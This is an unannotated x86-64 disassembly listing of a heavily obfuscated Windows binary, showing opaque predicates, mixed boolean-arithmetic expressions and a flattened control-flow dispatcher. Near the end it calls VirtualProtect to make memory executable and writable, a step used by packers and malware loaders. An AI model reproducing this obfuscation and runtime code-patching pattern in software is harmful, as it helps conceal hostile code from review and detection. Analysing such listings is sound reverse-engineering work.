mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xb217b735
mov ebx, 0x5b5fe0fc
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0xb217b735
jmp 0x1401a14db
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
or edx, 0x1bcca9a6
mov edi, edx
not edi
or ebx, 0xe4335659
mov ecx, ebx
not ecx
and edx, 0xd1be6093
and edi, 0x24011648
or edi, edx
and ebx, 0xd1be6093
and ecx, 0xa408924
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x1bcca9a6
and ecx, 0xe4335659
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
xor edx, 0x1ad7bf1d
and edx, ecx
or ecx, 0xe52840e2
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x5fc540b7
and ebx, 0x12bf08
or ebx, esi
or ecx, edi
and edi, 0x5fc540b7
and edx, 0xa03abf48
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9b8ad719
and ecx, 0x647528e6
or ecx, edx
mov edx, ecx
xor edx, 0x342084da
xor ecx, 0x815d6804
mov ebx, ecx
and ebx, 0xca873b21
and edx, 0x3578c4de
or edx, ebx
xor edx, 0xca873b21
xor ecx, edx
test ecx, edx
sete r8b
setne bl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
and bl, al
and dl, r8b
or dl, bl
xor dl, 1
or dl, al
mov ebx, edx
xor bl, 1
xor r8b, al
mov eax, r8d
xor al, 1
and dl, bl
mov ecx, r8d
and cl, al
xor dl, 1
mov r9d, ebx
xor r9b, dl
or dl, bl
xor dl, 1
or dl, r9b
xor r8b, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, r8b
xor cl, dl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x3d1d6e4d
mov ebx, 0x979bf537
cmovne edx, ebx
test al, 1
mov eax, 0x3d1d6e4d
cmovne eax, edx
test cl, 1
jmp 0x1401a2f6c
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xd41578bd
and eax, ecx
and ecx, 0x2bea8742
or ecx, edx
xor ecx, 0x2bea8742
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov edi, ecx
not edi
mov eax, ecx
or eax, 0xf5323b61
mov ebx, eax
not ebx
mov edx, ecx
xor edx, 0xacdc49e
and edx, ecx
mov esi, edx
not esi
mov r8d, eax
and r8d, 0xaa68bce2
and ebx, 0x85401c
or ebx, r8d
or eax, esi
and esi, 0xaa68bce2
and edx, 0x5597431d
or edx, esi
xor edx, ebx
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0x65a0fecc
and eax, 0x9a5f0133
or eax, edx
mov ebx, eax
xor ebx, 0x1245a4
and ecx, 0x3ea51792
mov edx, edi
and edx, 0xc15ae86d
or edx, ecx
xor edx, 0x3ea51793
and edi, 1
or edi, edx
mov ecx, edi
not ecx
xor eax, 0x6f6d3a53
mov edx, eax
and edx, 0xd289a01b
and ebx, 0x2d765fe4
or ebx, edx
or eax, edi
and edi, 0xd289a01b
and ecx, 0x2d765fe4
or ecx, edi
xor ecx, ebx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x3a10ff7a
and eax, 0xc5ef0085
or eax, ecx
mov ebx, eax
xor ebx, 0x40001
xor eax, 0x2006000
or edx, 0x6066881
mov ecx, edx
not ecx
or eax, 0x78399204
and eax, 0x7e3bf284
and ebx, 0x40801
or ebx, eax
and edx, 0x7e3bf284
and ecx, 0x81c0057a
or ecx, edx
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0x78964bc3
and ecx, 0x8769b43c
or ecx, eax
mov eax, ecx
xor eax, 0x2300b5
xor ecx, 0x7e902342
mov edx, ecx
and edx, 0xe55cdc08
and eax, 0x1aa323f7
or eax, edx
xor eax, 0xe55cdc08
xor ecx, eax
test ecx, eax
setne r8b
sete bl
cmp dword [0x1402656c4], 9
setg al
mov ecx, eax
xor cl, bl
not cl
and cl, bl
or bl, al
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0x9451ab07
mov edi, 0x565f0cf5
cmovne eax, edi
test bl, 1
mov edx, 0x9451ab07
cmovne eax, edx
jmp 0x14018cdb1
mov eax, 0xc9114023
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0x82ec2a9a
and edx, ecx
or ecx, 0x7d13d565
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xb9f27730
and ebx, 0x20c088a
or ebx, esi
or ecx, edi
and edi, 0xb9f27730
and edx, 0x460d88cf
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7d13d565
and ecx, 0x82ec2a9a
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0x5c1c17c9
and ecx, 0xa3e3e836
or ecx, ebx
xor ecx, 0xa3e3e837
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
xor edx, 0xf33297bd
and edx, ecx
or ecx, 0xccd6842
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xc81e4547
and ebx, 0x332092b8
or ebx, esi
or ecx, edi
and edi, 0xc81e4547
and edx, 0x37e1bab8
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xccd6842
and ecx, 0xf33297bd
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc30362e6
and ecx, 0x3cfc9d19
or ecx, edx
mov edx, ecx
xor edx, 0x4180810
xor ecx, 0xc00060e6
and ecx, 0xf8e4f5ef
and edx, 0x71b0a10
or edx, ecx
mov ecx, edx
xor ecx, 0x182494cc
xor edx, 0x7100010
and edx, 0xe7d06133
and ecx, 0x182f9ecc
or ecx, edx
xor ecx, 0x182f9ecc
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg cl
mov eax, ecx
xor al, r9b
not al
and al, r9b
mov edx, ecx
or dl, r9b
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
and r8b, r10b
and cl, r9b
or cl, r8b
mov edx, r10d
and dl, r9b
xor r10b, r9b
or r10b, dl
mov edx, r10d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r10b
xor cl, 1
or cl, dl
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x7f2e1fac
mov ebx, 0xd7b2de4f
cmovne eax, ebx
test dl, 1
mov edx, 0x7f2e1fac
jmp 0x14019dc59
mov eax, 0x8aad4385
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov ebx, edx
or ebx, 0xefb404e4
mov eax, ebx
not eax
or ecx, 0x419b00
and ecx, 0xa3759f00
and edx, 0x4c8000e4
or edx, ecx
and ebx, 0xa3759f00
and eax, 0x100a601b
or eax, ebx
xor eax, edx
mov ecx, eax
not ecx
and ecx, 0x104bfb1b
and eax, 0xefb404e4
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xfffffffe
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x47d284bc
and ecx, eax
not eax
and eax, 0x47d284bc
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x7a7cbfee
and ecx, 0x85834011
or ecx, eax
mov eax, ecx
xor eax, 0x2100001
xor ecx, 0x3dae3b52
mov edx, ecx
and edx, 0xdce3cffe
and eax, 0x231c3001
or eax, edx
xor eax, 0xdce3cffe
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x1402656c4], 9
setg r11b
mov r9d, r11d
and r9b, al
xor r11b, al
or r9b, r11b
mov eax, r9d
xor al, 1
mov r8d, r11d
xor r8b, 1
mov ebx, eax
and bl, r9b
mov ecx, r11d
and cl, r8b
mov r10d, ebx
and r10b, al
xor bl, al
or bl, r10b
mov r10d, ecx
and r10b, r11b
xor cl, r11b
or cl, r10b
mov edx, ebx
xor dl, 1
and dl, cl
xor cl, 1
and cl, bl
or cl, dl
xor r8b, r9b
or al, r11b
xor al, 1
or al, r8b
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xef913a1d
mov ebx, 0x28d60213
cmovne eax, ebx
test cl, 1
cmove eax, ebx
not dl
test dl, 1
mov ecx, 0xef913a1d
jmp 0x14019970b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
mov ecx, ebx
xor ecx, 0x8f0bf0b8
and ecx, ebx
not ebx
and ebx, 0x53b670a8
and edx, 0xac498f57
or edx, ebx
mov ebx, edx
xor ebx, 0x80080000
xor edx, 0x30270a8
or edx, 0x70f40f47
mov edi, ecx
not edi
mov esi, edx
and esi, 0x5eb5e292
and ebx, 0x810a1028
or ebx, esi
or edx, edi
and edi, 0x5eb5e292
and ecx, 0xa14a1d6d
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x70f40f47
and edx, 0x8f0bf0b8
or edx, ecx
mov ecx, edx
not ecx
mov edi, edx
xor edi, 0xc259132
and edi, ecx
mov eax, ecx
or eax, 0xc259132
mov esi, eax
not esi
mov ebx, edi
not ebx
mov r9d, ebx
and r9d, 0xba30bfe6
and edi, 0x45cf4019
or edi, r9d
or ebx, eax
and eax, 0xba30bfe6
and esi, 0x41ca4009
or esi, eax
xor esi, edi
not ebx
or ebx, esi
mov eax, ebx
not eax
and eax, 0xf3da6ecc
and ebx, 0xc259133
or ebx, eax
and edx, 0x32a4483c
mov eax, ecx
and eax, 0xcd5bb7c3
or eax, edx
xor eax, 0x32a4483d
and ecx, 1
or ecx, eax
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x2fea5aed
and edx, ecx
and ecx, 0xd015a512
or ecx, eax
mov eax, ecx
xor eax, 0x5014a110
xor ecx, 0x2fea5aed
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xa5c91e86
and eax, 0x5a36e179
or eax, edi
or ecx, ebx
and ebx, 0xa5c91e86
and edx, 0x5a36e179
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x7cb70ecb
and ecx, 0x8348f134
or ecx, eax
mov eax, ecx
xor eax, 0x82006004
xor ecx, 0x70340601
and ecx, 0x717c9731
and eax, 0x8e8368ce
or eax, ecx
xor eax, 0x717c9731
cmp eax, 0xffffffff
sete r11b
setne dl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl r8b
mov esi, r8d
xor sil, dl
xor sil, 1
or sil, r9b
mov r10d, esi
xor r10b, 1
and dl, r8b
and r11b, r9b
or r11b, dl
mov edx, r11d
xor dl, 1
mov ebx, r10d
and bl, sil
mov ecx, r11d
and cl, dl
mov r8d, ebx
and r8b, r10b
xor bl, r10b
or bl, r8b
mov r8d, ecx
and r8b, r11b
xor cl, r11b
or cl, r8b
mov eax, ebx
xor al, 1
and al, cl
xor cl, 1
and cl, bl
or cl, al
mov eax, esi
and al, dl
xor dl, sil
or dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x7bc48cee
mov ebx, 0xeddfdbe
cmovne eax, ebx
test dl, dl
mov edx, 0x7bc48cee
jmp 0x1401a0e85
mov eax, 0x291a5dbe
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xab97a667
and ebx, 0x54685998
or ebx, esi
or ecx, edi
and edi, 0xab97a667
and edx, 0x54685998
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov esi, ecx
mov edi, ecx
xor edi, 0xc4e87746
and edi, ecx
not ecx
and ecx, 0x317ed816
and esi, 0xce8127e9
or esi, ecx
mov edx, esi
xor edx, 0xce8127e9
mov ebx, esi
xor ebx, 0xf596af50
and ebx, edx
mov ecx, ebx
not ecx
mov eax, edi
not eax
mov r9d, ecx
and r9d, 0x710a11ff
and ebx, 0x8ef5ee00
or ebx, r9d
or ecx, eax
and eax, 0x710a11ff
and edi, 0x8ef5ee00
or edi, eax
xor edi, ebx
not ecx
or ecx, edi
mov eax, ecx
not eax
and eax, 0xc1e8176f
and ecx, 0x3e17e890
or ecx, eax
mov edi, ecx
xor edi, 0x9a5f14c6
xor esi, 0x31100814
and esi, 0x3f112afc
mov eax, edx
and eax, 0xc0eed503
or eax, esi
xor eax, 0x3f112afd
and edx, 1
or edx, eax
mov eax, edx
not eax
xor ecx, 0x5006028
mov ebx, ecx
and ebx, 0x65a0ab31
and edi, 0x9a5f54ce
or edi, ebx
or ecx, edx
and edx, 0x65a0ab31
and eax, 0x9a5f54ce
or eax, edx
xor eax, edi
not ecx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x7f77dea1
and eax, 0x8088215e
or eax, ecx
xor eax, 0x7f77dea1
sete r10b
setne cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg al
mov edx, eax
and dl, cl
mov r8d, eax
xor r8b, cl
or r8b, dl
xor al, r10b
not al
and al, r10b
xor cl, r9b
not cl
and cl, r9b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ebx, edx
and bl, r8b
xor al, r8b
xor r8b, 1
xor dl, 1
and dl, r8b
or dl, bl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x5a01bb11
mov ebx, 0xdfa38630
cmovne eax, ebx
test cl, 1
mov ecx, 0x5a01bb11
cmovne ecx, eax
jmp 0x14019f0fe
mov eax, 0xfca3d2a
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov r9d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edx, ebx
not edx
mov ecx, ebx
xor ecx, 0xa8bf318a
and ecx, ebx
or ebx, 0x5740ce75
mov edi, ecx
not edi
mov esi, ebx
and esi, 0xf4602827
and edx, 0x89f1188
or edx, esi
or ebx, edi
and edi, 0xf4602827
and ecx, 0xb9fd7d8
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xe8e8d9d6
and ebx, 0x17172629
or ebx, ecx
mov edx, ebx
xor edx, 0xbfa817a3
mov ecx, ebx
xor ecx, 0xaa25187
and ecx, edx
or edx, 0x4af5b9db
mov edi, edx
not edi
mov esi, ecx
not esi
mov eax, edx
and eax, 0xd1a9df36
and edi, 0x24020000
or edi, eax
or edx, esi
and esi, 0xd1a9df36
and ecx, 0x2e5620c9
or ecx, esi
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x3fa374b7
and edx, 0xc05c8b48
or edx, eax
mov eax, edx
xor eax, 0x75444048
mov ecx, ebx
and ecx, 1
xor ebx, 0x4057e85d
or ebx, ecx
mov ecx, ebx
not ecx
xor edx, 0x8aa93292
mov edi, edx
and edi, 0x82b39d27
and eax, 0x7d4c62d8
or eax, edi
or edx, ebx
and ebx, 0x82b39d27
and ecx, 0x7d4c62d8
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne r10b
cmp r9d, 0xa
setl r11b
cmp r9d, 9
setg al
mov ebx, eax
xor bl, r11b
and bl, al
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov ebx, r10d
xor bl, cl
mov edx, ebx
and dl, r10b
and bl, cl
mov ecx, edx
xor cl, 1
xor dl, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dl
and r10b, r11b
or r11b, r8b
xor r11b, 1
and al, r8b
or al, r10b
mov ecx, r11d
and cl, al
xor al, r11b
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
xor dl, 1
mov r8d, edx
xor r8b, cl
or dl, cl
xor dl, 1
or dl, r8b
xor dl, bl
or al, bl
xor bl, cl
xor bl, 1
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x581bbee7
mov ebx, 0x3c74413a
cmovne ecx, ebx
test al, 1
mov eax, 0x581bbee7
jmp 0x14018b3fd
mov eax, dword [rbp - 0x7c]
mov dword [rbp + 0xc], eax
mov rax, qword [rbp - 0x48]
mov rax, qword [rbp - 0x50]
mov ecx, dword [0x1402656c8]
mov r10d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xcfe521d6
and edx, 0x301ade29
or edx, ecx
mov edi, edx
xor edi, 0x10108200
xor edx, 0x1000146
or ebx, 0x51168377
mov ecx, ebx
not ecx
or edx, 0xaae97008
and edx, 0xabeb716f
and edi, 0x50148210
or edi, edx
and ebx, 0xabeb716f
and ecx, 0x4000c80
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0xaee97c88
and ecx, 0x51168377
or ecx, edx
mov r8d, ecx
not r8d
mov edi, ecx
xor edi, 0xf38deaf6
and edi, r8d
mov esi, r8d
or esi, 0xf38deaf6
mov edx, esi
not edx
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0x3649e76d
and edi, 0xc9b61892
or edi, eax
or ebx, esi
and esi, 0x3649e76d
and edx, 0x8321000
or edx, esi
xor edx, edi
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0x43ff7dd9
and ebx, 0xbc008226
or ebx, eax
xor ebx, 0x4f8d68d1
and r8d, 1
xor ecx, 0xfffffffe
or ecx, r8d
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x480c800
and ecx, 0x292800c0
or ecx, eax
mov ebx, ecx
xor ebx, 0x21000040
xor ecx, 0x12c39938
or edx, 0x2da8c8c0
mov eax, edx
not eax
and ecx, 0x1aeb99b8
and ebx, 0x25004040
or ebx, ecx
and edx, 0x1aeb99b8
and eax, 0xc0142607
or eax, edx
xor eax, ebx
mov ecx, eax
not ecx
and ecx, 0xd257373f
and eax, 0x2da8c8c0
or eax, ecx
setne r8b
sete r9b
cmp r10d, 9
setg cl
cmp r10d, 0xa
setl r10b
mov r11d, r10d
xor r11b, cl
and r11b, r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
mov esi, edx
xor sil, al
xor al, 1
or al, bl
xor al, 1
or al, sil
or dl, bl
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
mov eax, edx
or al, r11b
xor al, 1
xor dl, r11b
not dl
and dl, r11b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
and r8b, r10b
or r10b, r9b
xor r10b, 1
and cl, r9b
or cl, r8b
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, ecx
not al
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xa27f1864
mov ebx, 0xa1eaa1eb
cmovne eax, ebx
test dl, 1
mov edx, 0xa27f1864
jmp 0x14019dc59
mov eax, 0xd7b2de4f
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x40060002
mov edx, esi
and edx, 0x9f4878a9
or edx, ebx
xor edx, 0x9f4878a9
mov edi, esi
and edi, 0x20b18754
or edi, edx
mov edx, edi
not edx
and edx, 0x7d694f59
and edi, 0x8296b0a6
or edi, edx
mov edx, edi
xor edx, 0x5dd8c80c
xor edi, 0x221441
mov ebx, edx
and ebx, 0xbf8de3b2
and edi, 0x40721c4d
or edi, ebx
or edx, esi
and esi, 0xbf8de3b2
and ecx, 0x40721c4d
or ecx, esi
xor ecx, edi
not edx
or edx, ecx
cmp edx, 0xffffffff
sete r9b
setne r8b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg cl
mov edx, r8d
xor dl, r9b
and dl, r8b
mov eax, edx
xor al, 1
mov r11d, edx
and r11b, al
mov ebx, r11d
xor bl, 1
xor r11b, dl
or bl, al
xor bl, 1
or bl, r11b
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor r9b, r10b
or r10b, al
xor al, 1
or al, cl
mov edx, eax
xor dl, r10b
or al, r10b
xor al, 1
or al, dl
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, 1
xor al, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x7e05b684
mov ebx, 0xda6392f3
cmovne ecx, ebx
test al, 1
mov eax, 0x7e05b684
jmp 0x14018b3fd
mov eax, 0x9467e4e4
cmp eax, 0xfffc3756
jg 0x14016c95b
nop word cs:[rax + rax]
nop
cmp eax, 0xba80594c
jle 0x140186d00
cmp eax, 0xdab0b4ed
jg 0x140186d78
cmp eax, 0xcb0ae12b
jg 0x140186f5b
cmp eax, 0xc2e102b3
jg 0x1401871b6
cmp eax, 0xbe041dfb
jle 0x140187bba
cmp eax, 0xbfd0b675
jg 0x140188e18
cmp eax, 0xbf07c3cb
jg 0x14018b02b
cmp eax, 0xbeab638d
jg 0x14018e934
cmp eax, 0xbe041dfc
je 0x140195276
cmp eax, 0xbe5bf35d
jne 0x14016c950
mov eax, 0x67c407a2
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x9d63d923
jle 0x140186eee
cmp eax, 0xaabe0ef0
jg 0x140187066
cmp eax, 0xa46c1d0e
jg 0x14018720d
cmp eax, 0xa1c7b95a
jle 0x140187de6
cmp eax, 0xa2c3ce01
jg 0x140188e59
cmp eax, 0xa27f1863
jg 0x14018b061
cmp eax, 0xa1eaa1ea
jg 0x14018e95f
cmp eax, 0xa1c7b95b
je 0x140195366
cmp eax, 0xa1cbc577
jne 0x14016c950
mov eax, 0x67190658
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xed7b0804
jg 0x1401870c8
cmp eax, 0xe299e6a9
jg 0x140187306
cmp eax, 0xdeb670db
jle 0x140187e32
cmp eax, 0xe0ac780f
jg 0x140188ff4
cmp eax, 0xe01f6ab0
jg 0x14018b249
cmp eax, 0xdfc99930
jg 0x14018e98a
cmp eax, 0xdeb670dc
je 0x14019537b
cmp eax, 0xdfa38630
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov esi, edx
not esi
mov ecx, esi
or ecx, 0x99e8c41a
mov edi, edx
or edi, 1
and edi, 0x99e8c41b
mov ebx, esi
and ebx, 0x66173be4
or ebx, edi
and ecx, 0x99e8c41b
xor ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xe6a18245
and ecx, 0x195e7dba
or ecx, ebx
mov ebx, ecx
xor ebx, 0x1404022
and esi, 0xf7d2d45b
and edx, 0x82d2ba4
or edx, esi
mov edi, edx
xor edi, 0x10024
xor ecx, 0xe6a18245
xor edx, 0xf7d2d45b
mov esi, ecx
and esi, 0xfabebf99
and ebx, 0x5414066
or ebx, esi
or ecx, edx
and edx, 0xfabebf99
and edi, 0x5414066
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov eax, edx
xor al, r8b
not al
and al, r8b
or dl, r8b
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, ecx
or dl, r8b
xor dl, 1
xor cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
not dl
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
xor al, 1
mov ecx, eax
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xa14b9023
mov ebx, 0x6cbdab4a
cmovne eax, ebx
test cl, 1
mov ecx, 0xa14b9023
jmp 0x1401a0085
cmp eax, 0x9066c13f
jle 0x140187154
cmp eax, 0x96c52fff
jg 0x14018752c
cmp eax, 0x937ab196
jle 0x140187ff8
cmp eax, 0x9474cf5b
jg 0x140189126
cmp eax, 0x93fac296
jg 0x14018b408
cmp eax, 0x93a86889
jg 0x14018ead0
cmp eax, 0x937ab197
je 0x140195390
cmp eax, 0x93915954
jne 0x14016c950
mov eax, 0x4b3421c7
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xd25e6526
jg 0x140187644
cmp eax, 0xce0c2f91
jle 0x14018815f
cmp eax, 0xcf2217c4
jg 0x14018928a
cmp eax, 0xcecb2e6c
jg 0x14018b43e
cmp eax, 0xce4d9239
jg 0x14018ec4c
cmp eax, 0xce0c2f92
je 0x14019549d
cmp eax, 0xce2d8c8c
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xfffffffe
mov edi, edx
and edi, 1
or edi, ebx
not edi
and ecx, 0xeb12c91e
and edx, 0x14ed36e1
or edx, ecx
xor edx, 0x14ed36e1
mov ecx, edi
and ecx, edx
xor edx, edi
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov r9d, eax
xor r9b, dl
xor r9b, 1
and dl, bl
or bl, r8b
xor bl, 1
and al, r8b
or al, dl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
xor dl, r9b
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x498ecc33
mov ebx, 0xd63e47aa
cmovne eax, ebx
test dl, 1
cmovne eax, ebx
not cl
test cl, 1
mov ecx, 0x498ecc33
jmp 0x1401a14db
cmp eax, 0xb217b734
jg 0x140187755
cmp eax, 0xaeb6ac33
jle 0x14018834e
cmp eax, 0xb070f0b0
jg 0x1401892cb
cmp eax, 0xb044b69c
jg 0x14018b474
cmp eax, 0xaf2d9604
jg 0x14018edb1
cmp eax, 0xaeb6ac34
je 0x140195618
cmp eax, 0xaed3e73f
jne 0x14016c950
mov eax, 0x52acbd0c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xf7402b9b
jg 0x1401878cb
cmp eax, 0xf11c1948
jle 0x1401884fe
cmp eax, 0xf2ec8b8a
jg 0x14018946c
cmp eax, 0xf1cef79b
jg 0x14018b65d
cmp eax, 0xf179406c
jg 0x14018ee06
cmp eax, 0xf11c1949
je 0x1401957a0
cmp eax, 0xf14ec2d2
jne 0x14016c950
mov rax, qword [rbp - 0x60]
mov dword [rax], 0
movsxd rdx, dword [rbp - 0x2c]
mov r9, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x40]
sub rsp, 0x20
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov eax, 0x9106ac11
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x88443e92
jle 0x140187a30
cmp eax, 0x8ce50a28
jle 0x14018854a
cmp eax, 0x8e85c089
jg 0x1401894ad
cmp eax, 0x8da9e177
jg 0x14018b693
cmp eax, 0x8d0214bd
jg 0x14018f02d
